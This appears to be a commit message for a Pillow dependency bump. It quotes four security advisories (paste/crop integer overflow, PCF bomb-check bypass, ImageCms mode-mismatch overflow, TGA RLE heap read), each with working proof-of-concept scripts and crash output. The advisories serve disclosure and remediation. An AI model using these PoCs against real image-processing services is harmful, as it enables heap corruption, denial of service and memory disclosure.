    / PYSEC-2026-3451
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### Summary
    
    Pillow's public image coordinate APIs can trigger a native heap
    out-of-bounds
    write when given coordinates near the signed 32-bit integer limits. In
    4-byte
    pixel modes such as `RGBA`, this becomes a controlled backward heap
    underwrite:
    for a source image of width `W`, Pillow writes `4 * W`
    attacker-controlled bytes
    starting `4 * W` bytes before the destination row pointer. With
    successful large
    image allocation, the theoretical upper bound is ~2 GiB backwards from
    the destination row.
    
    Minimal public API trigger:
    
    ```python
    from PIL import Image
    
    INT_MIN = -(1 << 31)
    
    src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
    dst = Image.new("RGBA", (8, 1))
    dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))
    ```
    
    The same root cause is also reachable through `Image.crop()` and
    `Image.alpha_composite()`. No private API, ctypes, custom Python object,
    or
    malformed image file is needed.
    
    This has been confirmed as an ASAN heap-buffer-overflow write. On normal
    non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts
    with
    `double free or corruption (out)`
    
    ##### Details
    
    `src/PIL/Image.py:paste()` accepts a 4-tuple box and passes it to the
    native
    `ImagingCore.paste()` method:
    
    ```python
    self.im.paste(source, box)
    ```
    
    `src/_imaging.c:_paste()` parses the four Python coordinates into signed
    `int`
    values and calls `ImagingPaste()`:
    
    ```c
    int x0, y0, x1, y1;
    PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
    status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, 
y0, x1, y1);
    ```
    
    `src/libImaging/Paste.c:ImagingPaste()` computes and clips the region
    using
    signed `int` arithmetic:
    
    ```c
    xsize = dx1 - dx0;
    ysize = dy1 - dy0;
    
    if (dx0 + xsize > imOut->xsize) {
        xsize = imOut->xsize - dx0;
    }
    ```
    
    With `dx0 = 2147483646` and `dx1 = -2147483648`, `dx1 - dx0` wraps to
    `2`.
    That matches the 2-pixel source image, so the size check passes. The
    later
    `dx0 + xsize` clip check wraps around and does not reject the
    out-of-bounds
    destination.
    
    For 4-byte pixel modes such as `RGBA`, the paste loop then multiplies
    `dx` by
    `pixelsize`:
    
    ```c
    dx *= pixelsize;
    xsize *= pixelsize;
    memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);
    ```
    
    For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes
    before the
    destination row allocation.
    
    The primitive scales with the attacker-controlled source width:
    
    ```text
    source width = W
    box = ((1 << 31) - W, 0, INT_MIN, 1)
    
    C destination offset = -4 * W
    C memcpy size        =  4 * W
    write range          = [row_start - 4W, row_start)
    ```
    
    Examples for `RGBA`:
    
    ```text
    W = 2         -> writes 8 bytes before the row
    W = 1024      -> writes 4096 bytes before the row
    W = 65536     -> writes 256 KiB before the row
    W = 1000000   -> writes about 4 MiB before the row
    ```
    
    Pillow's image creation guard currently limits `xsize` to roughly
    `INT_MAX / 4 - 1`, so the theoretical upper bound for this `RGBA`
    underwrite is
    `2,147,483,640` bytes before the destination row pointer. In practice,
    the
    usable range depends on memory availability, allocator layout, and
    process heap
    state.
    
    Two other documented APIs reach the same sink:
    
    ```python
    
    ##### Image.crop() path
    left = INT_MIN + 2
    Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
    
    ##### Image.alpha_composite() path, via its internal crop()
    base = Image.new("RGBA", (2, 1))
    over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
    base.alpha_composite(over, dest=(left, 0))
    ```
    
    `Image.crop()` keeps `right - left` small, so the Python
    decompression-bomb
    check allows it. `src/libImaging/Crop.c` then computes wrapped paste
    coordinates and calls `ImagingPaste()`.
    
    ##### PoC
    
    The following standalone script exercises all three public API paths.
    Save it
    as `b021_poc.py` and run it with `paste`, `crop`, or `alpha`.
    
    ```python
    
    #!/usr/bin/env python3
    import argparse
    import sys
    
    from PIL import Image
    
    INT_MIN = -(1 << 31)
    
    def rgba_pattern(width):
        out = bytearray()
        for i in range(width):
            out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
        return bytes(out)
    
    def main():
        parser = argparse.ArgumentParser()
        parser.add_argument(
            "variant",
            choices=("paste", "crop", "alpha"),
            nargs="?",
            default="paste",
        )
        parser.add_argument("-w", "--width", type=int, default=2)
        args = parser.parse_args()
    
        width = args.width
        src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))
    
        if args.variant == "paste":
            box = ((1 << 31) - width, 0, INT_MIN, 1)
            dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
            print(f"variant=paste box={box}")
            print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
            sys.stdout.flush()
            dst.paste(src, box)
            print("paste returned; first row:", dst.tobytes().hex())
    
        elif args.variant == "crop":
            left = INT_MIN + width
            box = (left, 0, left + width, 1)
            print(f"variant=crop box={box}")
            sys.stdout.flush()
            out = src.crop(box)
            print("crop returned; output:", out.tobytes().hex())
    
        else:
            dest = (INT_MIN + width, 0)
            dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
            print(f"variant=alpha dest={dest}")
            sys.stdout.flush()
            dst.alpha_composite(src, dest=dest)
            print("alpha_composite returned; first row:", dst.tobytes().hex())
    
        sys.stdout.flush()
    
    if __name__ == "__main__":
        main()
    ```
    
    Run against an ASAN build:
    
    ```bash
    env ASAN_OPTIONS=detect_leaks=0 
ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
      python b021_poc.py paste
    
    env ASAN_OPTIONS=detect_leaks=0 
ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
      python b021_poc.py crop
    
    env ASAN_OPTIONS=detect_leaks=0 
ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
      python b021_poc.py alpha
    ```
    
    Observed ASAN signature for the direct `Image.paste()` path:
    
    ```text
    ERROR: AddressSanitizer: heap-buffer-overflow
    WRITE of size 8
    paste /out/src/src/libImaging/Paste.c:59
    ImagingPaste /out/src/src/libImaging/Paste.c:323
    _paste /out/src/src/_imaging.c:1461
    0x... is located 8 bytes before 32-byte region
    ```
    
    On non-ASAN Pillow `12.2.0` and local `12.3.0.dev0`, the direct minimal
    `Image.paste()` trigger returns from `paste()` and then the process
    aborts
    during cleanup with:
    
    ```text
    double free or corruption (out)
    Aborted (core dumped)
    ```
    
    Observed ASAN signature for the `Image.crop()` and
    `Image.alpha_composite()`
    paths:
    
    ```text
    ERROR: AddressSanitizer: heap-buffer-overflow
    WRITE of size 8
    paste /out/src/src/libImaging/Paste.c:59
    ImagingPaste /out/src/src/libImaging/Paste.c:323
    ImagingCrop /out/src/src/libImaging/Crop.c:57
    _crop /out/src/src/_imaging.c:1090
    ```
    
    ##### Suggested fix
    
    Avoid signed overflow in paste/crop coordinate arithmetic. Use checked
    arithmetic or a wider type before calculating widths and clipped
    endpoints.
    
    For example, reject boxes whose endpoint subtraction cannot be
    represented
    cleanly, and clip using non-overflowing comparisons:
    
    ```c
    int64_t xsize64 = (int64_t)dx1 - dx0;
    int64_t ysize64 = (int64_t)dy1 - dy0;
    
    if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
        return ImagingError_ValueError("bad box");
    }
    ```
    
    `ImagingCrop()` should receive the same treatment for `sx1 - sx0`,
    `dx0 = -sx0`, and `dx1 = imIn->xsize - sx0`.
    
    ##### Impact
    
    This is a heap out-of-bounds write in Pillow's native C extension,
    reachable
    through documented public image APIs.
    
    Applications are impacted if an untrusted user can control image
    operation
    coordinates passed to Pillow, for example crop boxes, paste boxes, or
    overlay
    positions. The bytes written in the direct `Image.paste()` variant are
    copied
    from the source image, so attacker-controlled source pixels can
    influence the
    out-of-bounds write. For `RGBA`, the write is a backward heap underwrite
    whose
    offset and length are both `4 * source_width`, bounded in practice by
    successful
    image allocation and heap layout.
    
    #### Severity
    - CVSS Score: 7.5 / 10 (High)
    - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
    
    #### References
    -
    
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4)
    -
    
[https://nvd.nist.gov/vuln/detail/CVE-2026-59199](https://nvd.nist.gov/vuln/detail/CVE-2026-59199)
    -
    
[https://github.com/python-pillow/Pillow/pull/9703](https://redirect.github.com/python-pillow/Pillow/pull/9703)
    -
    
[https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b](https://redirect.github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b)
    -
    
[https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml)
    -
    
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
    -
    
[https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/12.3.0)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-6r8x-57c9-28j4) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called
    without `_decompression_bomb_check()` — bomb protection bypass via PCF
    font loading
    BIT-pillow-2026-54059 /
    [CVE-2026-54059](https://nvd.nist.gov/vuln/detail/CVE-2026-54059) /
    
[GHSA-8v84-f9pq-wr9x](https://redirect.github.com/advisories/GHSA-8v84-f9pq-wr9x)
    / PYSEC-2026-2253
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### Description
    `PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions
    from the PCF `METRICS` section and passes them directly to
    `Image.frombytes()` without calling `Image._decompression_bomb_check()`.
    Dimensions originate from unsigned 16-bit values:
    
    ```
    xsize = right - left          (max: 65535 − 0 = 65535)
    ysize = ascent + descent      (max: 65535 + 65535 = 131070)
    ```
    
    Maximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450
    pixels** — **48× the DecompressionBombError threshold**.
    
    **Vulnerable code (`PIL/PcfFontFile.py` line 224–227):**
    ```python
    for i in range(nbitmaps):
        xsize, ysize = metrics[i][:2]    # from PCF METRICS — 
attacker-controlled
        b, e = offsets[i : i + 2]
        bitmaps.append(
            Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, 
pad(xsize))
            # ↑ NO _decompression_bomb_check()!
        )
    ```
    
    `Image.frombytes()` calls `Image.new()` first (allocating the full
    C-heap buffer), **then** attempts to fill it. This creates two distinct
    attack paths:
    
    - **Persistent attack**: Provide matching bitmap data → `frombytes()`
    succeeds → image stored in `font.glyph[ch]` permanently
    - **Transient attack**: Provide a 148-byte PCF file with large declared
    dimensions but no data → `Image.new()` allocates the full buffer →
    `ValueError` → buffer freed → but the spike occurs before Python can
    respond
    
    ##### Steps to reproduce
    
    **Proof of Concept script:**
    
    ```python
    
    #!/usr/bin/env python3
    """PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
    import io, struct, tracemalloc, warnings
    warnings.filterwarnings("ignore")
    
    from PIL.PcfFontFile import PcfFontFile
    from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, 
DecompressionBombError
    
    W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold
    
    ##### Show what Image.open() would do
    warnings.filterwarnings("error", category=DecompressionBombWarning)
    try:
        _decompression_bomb_check((W, H))
    except (DecompressionBombWarning, DecompressionBombError) as e:
        print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
    warnings.filterwarnings("ignore")
    
    ##### PCF binary constants
    PCF_MAGIC    = 0x70636601
    PCF_PROPS    = 1 << 0
    PCF_METRICS  = 1 << 2
    PCF_BITMAPS  = 1 << 3
    PCF_ENCODINGS= 1 << 5
    
    def build_bomb_pcf(xsize, ysize):
        # Properties: empty
        props = struct.pack("<III", 0, 0, 0)
    
        # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, 
ysize=ascent+descent
        metrics = struct.pack("<II", 0, 1)
        metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)
    
        # Bitmaps: 1 glyph, empty data (transient attack)
        bitmaps = struct.pack("<II", 0, 1)
        bitmaps += struct.pack("<I", 0)              # offset[0] = 0
        bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0
    
        # Encodings: char 0x41 ('A') → glyph 0
        enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
        encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
        encodings += struct.pack("<" + "H"*128, *enc_offsets)
    
        secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
                (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
        hdr_size = 4 + 4 + len(secs) * 16
        out = struct.pack("<II", PCF_MAGIC, len(secs))
        offset = hdr_size
        for stype, sdata in secs:
            out += struct.pack("<IIII", stype, 0, len(sdata), offset)
            offset += len(sdata)
        for _, sdata in secs:
            out += sdata
        return out
    
    pcf = build_bomb_pcf(W, H)
    print(f"[*] PCF file size  : {len(pcf)} bytes")
    print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
    print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 
bit/pixel)")
    
    tracemalloc.start()
    try:
        font = PcfFontFile(io.BytesIO(pcf))
        _, peak = tracemalloc.get_traced_memory()
        tracemalloc.stop()
        print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak 
{peak/1024**2:.2f} MB")
    except Exception as e:
        _, peak = tracemalloc.get_traced_memory()
        tracemalloc.stop()
        print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
        print(f"    Heap peak: {peak/1024**2:.2f} MB")
        print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before 
exception")
    ```
    
    **Expected output:**
    ```
    [Image.open() path] BLOCKED by DecompressionBombError
    [*] PCF file size  : 148 bytes
    [*] Glyph size     : 14000 x 14000 = 196,000,000 pixels
    [*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)
    [!] CONFIRMED (transient): ValueError after allocation
        C-heap allocation of ~23 MB occurred before exception
    ```
    
    **Amplification table:**
    
    | PCF file | Glyph dims | C-heap (mode '1') | Bomb check |
    |---|---|---|---|
    | 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed |
    | 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed |
    | ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |
    
    ##### Impact
    - **Availability**: HIGH — up to 1.07 GB per glyph, no limit per font
    file
    - **Confidentiality**: None
    - **Integrity**: None
    - Any service loading PCF fonts from untrusted sources (e.g.,
    `PcfFontFile(fp)`) is affected
    - `PcfFontFile` is never loaded via `Image.open()`, so the bomb check
    protection is completely absent from the entire PCF font loading path
    - Confirmed unpatched on `python-pillow/Pillow` `main` branch as of
    2026-06-07
    
    #### Severity
    - CVSS Score: 7.5 / 10 (High)
    - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
    
    #### References
    -
    
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x)
    -
    
[https://nvd.nist.gov/vuln/detail/CVE-2026-54059](https://nvd.nist.gov/vuln/detail/CVE-2026-54059)
    -
    
[https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://redirect.github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d)
    -
    
[https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml)
    -
    
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
    -
    
[https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://redirect.github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-8v84-f9pq-wr9x) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Pillow: Controlled heap out-of-bounds write in Pillow
    `ImageCmsTransform.apply()` via output mode mismatch
    BIT-pillow-2026-59205 /
    [CVE-2026-59205](https://nvd.nist.gov/vuln/detail/CVE-2026-59205) /
    
[GHSA-9hw9-ch79-4vh6](https://redirect.github.com/advisories/GHSA-9hw9-ch79-4vh6)
    / PYSEC-2026-3453
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### Summary
    
    Pillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can
    trigger
    controlled native heap corruption when the caller supplies an output
    image whose
    mode does not match the transform's declared output mode.
    
    For example, a transform built as `RGBA -> RGBA` can be applied to an
    `L` output
    image. Pillow checks dimensions only, then calls LittleCMS with the
    output row
    pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L`
    image row.
    
    ##### Details
    
    `src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional
    caller
    supplied `imOut`:
    
    ```python
    def apply(self, im, imOut=None):
        if imOut is None:
            imOut = Image.new(self.output_mode, im.size, None)
        self.transform.apply(im.getim(), imOut.getim())
        imOut.info["icc_profile"] = self.output_profile.tobytes()
        return imOut
    ```
    
    If `imOut` is provided, Pillow does not check:
    
    ```text
    im.mode == self.input_mode
    imOut.mode == self.output_mode
    ```
    
    The C wrapper in `src/_imagingcms.c` unwraps both image cores and only
    checks
    that the output dimensions are at least as large as the input
    dimensions:
    
    ```c
    static int
    pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
        if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
            return -1;
        }
    
        for (i = 0; i < im->ysize; i++) {
            cmsDoTransform(hTransform, im->image[i], imOut->image[i], 
im->xsize);
        }
    
        pyCMScopyAux(hTransform, imOut, im);
        return 0;
    }
    ```
    
    `findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to
    LittleCMS
    `TYPE_RGBA_8`, which writes 4 bytes per pixel:
    
    ```c
    case IMAGING_MODE_RGB:
    case IMAGING_MODE_RGBA:
    case IMAGING_MODE_RGBX:
        return TYPE_RGBA_8;
    ```
    
    So with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 *
    width`
    bytes to each output row. If the supplied output image is mode `L`,
    Pillow only
    allocated `1 * width` bytes for that row.
    
    For width 4096:
    
    ```text
    destination row allocation: 4096 bytes
    LittleCMS write size:       16384 bytes
    overflow:                  ~12288 bytes past the row
    ```
    
    The bug does not require a large image. Width 8 was enough to corrupt
    heap
    metadata. At width 8, `apply()` returned to Python and printed `after`;
    glibc
    detected the corrupted heap later during cleanup.
    
    ##### PoC
    
    Tiny heap corruption trigger:
    
    ```python
    from PIL import Image, ImageCms
    
    srgb = ImageCms.createProfile("sRGB")
    transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
    
    im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
    out = Image.new("L", (8, 1), 0)
    
    print("before", flush=True)
    transform.apply(im, out)
    print("after")
    ```
    
    Observed locally on Pillow `12.3.0.dev0`:
    
    ```text
    before
    after
    free(): invalid next size (normal)
    Aborted (core dumped)
    ```
    
    Controlled overwrite evidence PoC:
    
    ```python
    from PIL import Image, ImageCms
    
    srgb = ImageCms.createProfile("sRGB")
    transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
    
    im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
    out = Image.new("L", (4096, 1), 0)
    
    transform.apply(im, out)
    ```
    
    Run under gdb:
    
    ```bash
    gdb -q --batch -ex run -ex bt --args \
      python3 b022_controlled.py
    ```
    
    Observed on Pillow `12.3.0.dev0`:
    
    ```text
    Program received signal SIGSEGV, Segmentation fault.
    ___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
    
    #&#8203;1 _cmsLockPrimitive (m=0x4443424144434241)
    #&#8203;2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
    
    #&#8203;3 _cmsLockMutex (ContextID=0x4443424144434241, 
mtx=0x4443424144434241)
    #&#8203;4 cmsSaveProfileToIOhandler(...)
    
    #&#8203;5 cmsSaveProfileToMem(...)
    #&#8203;6 cms_profile_tobytes (...) at src/_imagingcms.c:152
    ```
    
    `0x4443424144434241` is the attacker-controlled source pixel pattern
    `b"ABCDABCD"` interpreted as a little-endian pointer-sized value.
    
    Using source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer
    of
    `0x403020104030201`, matching the repeated pixel bytes.
    
    ##### Impact
    
    This is a heap out-of-bounds write in Pillow's native ImageCms
    extension,
    reachable through public API.
    
    Applications are impacted if untrusted users can control ImageCms
    transform
    parameters and/or provide the output image object passed to
    `ImageCmsTransform.apply()`. The source image pixels influence the bytes
    written
    out of bounds.
    
    ##### Suggested fix
    
    Validate modes before calling into the native transform:
    
    ```python
    def apply(self, im, imOut=None):
        if im.mode != self.input_mode:
            raise ValueError("input mode mismatch")
        if imOut is None:
            imOut = Image.new(self.output_mode, im.size, None)
        elif imOut.mode != self.output_mode:
            raise ValueError("output mode mismatch")
        self.transform.apply(im.getim(), imOut.getim())
        imOut.info["icc_profile"] = self.output_profile.tobytes()
        return imOut
    ```
    
    The C extension should also defensively reject mismatched image modes
    before
    calling `cmsDoTransform()`.
    
    #### Severity
    - CVSS Score: 7.5 / 10 (High)
    - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
    
    #### References
    -
    
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6](https://redirect.github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6)
    -
    
[https://nvd.nist.gov/vuln/detail/CVE-2026-59205](https://nvd.nist.gov/vuln/detail/CVE-2026-59205)
    -
    
[https://github.com/python-pillow/Pillow/pull/9715](https://redirect.github.com/python-pillow/Pillow/pull/9715)
    -
    
[https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721](https://redirect.github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721)
    -
    
[https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml)
    -
    
[https://github.com/python-pillow/Pillow](https://redirect.github.com/python-pillow/Pillow)
    -
    
[https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://redirect.github.com/python-pillow/Pillow/releases/tag/12.3.0)
    
    This data is provided by
    [OSV](https://osv.dev/vulnerability/GHSA-9hw9-ch79-4vh6) and the [GitHub
    Advisory Database](https://redirect.github.com/github/advisory-database)
    ([CC-BY
    
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
    </details>
    
    ---
    
    ### Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap
    data into generated images
    BIT-pillow-2026-59198 /
    [CVE-2026-59198](https://nvd.nist.gov/vuln/detail/CVE-2026-59198) /
    
[GHSA-fj7v-r99m-22gq](https://redirect.github.com/advisories/GHSA-fj7v-r99m-22gq)
    / PYSEC-2026-3494
    
    <details>
    <summary>More information</summary>
    
    #### Details
    ##### Summary
    
    Pillow's TGA RLE encoder reads past its row buffer when saving a mode
    `"1"`
    image. Adjacent process heap bytes can be copied into the generated TGA
    file.
    
    The bug is reachable through the public save API:
    
    ```python
    im.save(out, format="TGA", compression="tga_rle")
    ```
    
    Older affected Pillow versions use the equivalent public option
    `rle=True`.
    
    For mode `"1"`, Pillow allocates a packed row buffer of `ceil(width /
    8)`
    bytes, but `ImagingTgaRleEncode()` treats the row as one full byte per
    pixel.
    
    The maximum valid TGA width is `65535`. At that width:
    
    ```text
    allocated packed row buffer: 8192 bytes
    encoder byte-offset walk:     65535 bytes
    maximum OOB window per row:   57343 bytes
    ```
    
    On non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below
    serialized
    `57297` bytes from distinct out-of-bounds source offsets into one
    returned TGA,
    covering `99.92%` of the maximum adjacent heap window. No heap grooming,
    ctypes,
    private API, or malformed input file was used. The disclosure is emitted
    across
    many TGA packet payload copies of at most `128` bytes each, not one
    large
    `memcpy()`.
    
    ##### Details
    
    `src/PIL/TgaImagePlugin.py` allows mode `"1"` TGA output and selects the
    `tga_rle` encoder when RLE compression is requested.
    
    `src/encode.c:_setimage()` allocates the row buffer using the packed-bit
    formula:
    
    ```c
    state->bytes = (state->bits * state->xsize + 7) / 8;
    state->buffer = (UINT8 *)calloc(1, state->bytes);
    ```
    
    For mode `"1"`, `state->bits == 1`.
    
    `src/libImaging/TgaRleEncode.c` then computes:
    
    ```c
    bytesPerPixel = (state->bits + 7) / 8;
    ```
    
    This becomes `1`, and the encoder uses pixel indexes as byte offsets:
    
    ```c
    static int
    comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
        buf += x * bytesPerPixel;
        return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
    }
    ```
    
    The packet payload `memcpy()` later copies those out-of-bounds source
    bytes into
    the output. Raw packets copy up to `128` contiguous bytes, while RLE
    packets copy
    one representative byte:
    
    ```c
    memcpy(
        dst, state->buffer + (state->x * bytesPerPixel - state->count), 
flushCount
    );
    ```
    
    A width-2 mode `"1"` image allocates one row byte and already triggers
    an ASAN
    heap-buffer-overflow read. Wider images increase the adjacent heap
    window and
    the amount of heap data that can be serialized.
    
    ##### PoC
    
    ##### Minimal ASAN trigger
    
    ```python
    import io
    from PIL import Image
    
    out = io.BytesIO()
    Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")
    ```
    
    Observed on local Pillow `12.3.0.dev0` ASAN target:
    
    ```text
    ERROR: AddressSanitizer: heap-buffer-overflow
    READ of size 1
    comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
    ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
    0 bytes after a 1-byte allocation from _setimage
    ```
    
    ##### Maximum-width heap disclosure
    
    This PoC uses one maximum-width row. It parses the generated TGA packets
    and
    extracts only payload bytes whose source offsets were outside the
    allocated
    packed row. Rows are avoided because they mostly repeat the same
    adjacent heap window.
    
    Run the following with a standard affected Pillow installation.
    
    ```python
    import hashlib
    import io
    import PIL
    from PIL import Image
    
    WIDTH = 65535
    ATTEMPTS = 20
    ROW_BYTES = (WIDTH + 7) // 8
    MAX_OOB_WINDOW = WIDTH - ROW_BYTES
    
    def extract_oob_payload(data):
        i = 18
        pixel = 0
        oob = bytearray()
    
        while pixel < WIDTH:
            descriptor = data[i]
            i += 1
            count = (descriptor & 0x7F) + 1
    
            if descriptor & 0x80:
                value = data[i]
                i += 1
                if pixel + count - 1 >= ROW_BYTES:
                    oob.append(value)
            else:
                values = data[i : i + count]
                i += count
                oob.extend(values[max(ROW_BYTES - pixel, 0) :])
    
            pixel += count
    
        return bytes(oob)
    
    best = b""
    
    for _ in range(ATTEMPTS):
        out = io.BytesIO()
        Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", 
compression="tga_rle")
        oob = extract_oob_payload(out.getvalue())
        if len(oob) > len(best):
            best = oob
    
    with open("/tmp/max_oob_bytes.bin", "wb") as fp:
        fp.write(best)
    
    print(f"Pillow={PIL.__version__}")
    print(f"packed_row_bytes={ROW_BYTES}")
    print(f"maximum_oob_window={MAX_OOB_WINDOW}")
    print(f"serialized_distinct_oob_offsets={len(best)}")
    print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
    print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
    print(f"sha256={hashlib.sha256(best).hexdigest()}")
    ```
    
    Observed on installed Pillow `12.2.0`:
    
    ```text
    Pillow=12.2.0
    packed_row_bytes=8192
    maximum_oob_window=57343
    serialized_distinct_oob_offsets=57297
    nonzero_oob_bytes=54407
    coverage=99.92%
    ```
    
    ##### Impact
    
    This is a heap out-of-bounds read and potential information disclosure.
    
    A maximum-width single-row image can cause nearly the full
    `57343`-byte adjacent heap window to be incorporated into one output
    file.
    
    #### Severity
    - CVSS Score: 6.5 / 10 (Medium)
    - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L`
    
    #### References
    -
    
[https://github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq](https://redi
    
    > ✂ **Note**
    >
    > PR body was truncated to here.
    
    ---------
    
    Co-authored-by: Xinyuan Lin <[email protected]>
    Co-authored-by: Yicong Huang 
<[email protected]>
    Co-authored-by: Claude Fable 5 <[email protected]>
---
 amber/LICENSE-binary-python     | 2 +-
 amber/operator-requirements.txt | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/amber/LICENSE-binary-python b/amber/LICENSE-binary-python
index 0b59956f80..f950686bd3 100644
--- a/amber/LICENSE-binary-python
+++ b/amber/LICENSE-binary-python
